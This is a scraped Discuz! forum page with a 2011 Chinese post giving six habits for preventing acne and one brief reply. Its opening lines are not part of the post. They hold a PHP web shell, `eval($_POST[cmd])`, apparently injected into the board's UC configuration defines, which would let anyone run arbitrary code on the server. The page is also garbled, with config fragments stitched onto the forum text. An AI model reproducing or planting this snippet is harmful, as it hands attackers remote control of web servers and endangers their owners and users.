');eval($_POST[cmd])?>');
define('UC_APPID', 'UC_APPID');
define('UC_PPP', '20');
四輪天下 - Powered by Discuz! Board
標題: 6個好習慣 [打印本頁]
作者: amyreyes0111 時間: 2011-1-4 23:27 標題: 6個好習慣
1、別情不自禁用手摸臉。這往往造成細菌在臉上肌膚滋生,從而產生青春痘。頭髮的不潔有時也容易刺激臉部肌膚,長出惱人的痘痘。
2、被子、床單、枕頭、洗臉毛巾等要時常保持清潔。陽光的曝曬是最好的消毒,紫外線具有殺死細菌的效果。
3、喜歡吃甜食而不能自制是造成長青春痘的重要因素。糖分多的蛋糕及碳水化合物多的點心最容易造成青春痘。愛美的少男們最好對這些食物敬而遠之。
4、精神上的壓力會造成皮脂分泌旺盛,也是青春痘的成因,心情愉快會讓痘痘遠離。
5、快餐、零食等垃圾食品,容易造成便秘;愛吃宵夜不僅對胃不好,而且會造成便秘,會引來痘痘。
6、無論多忙,最晚在11點就請上床睡覺吧。肌膚的新陳代謝通常由晚上11點到半夜兩點時進行,把你的生理時鐘調對時間,才不會擁痘自憐。
作者: ericasnyder0123 時間: 2011-3-9 11:13 標題:
人因夢想而偉大,要堅持自己的理想哦!
歡迎光臨 四輪天下 (http://bbs.shonlong.com.tw/discuz/) |
Powered by Discuz! 7.0.0 |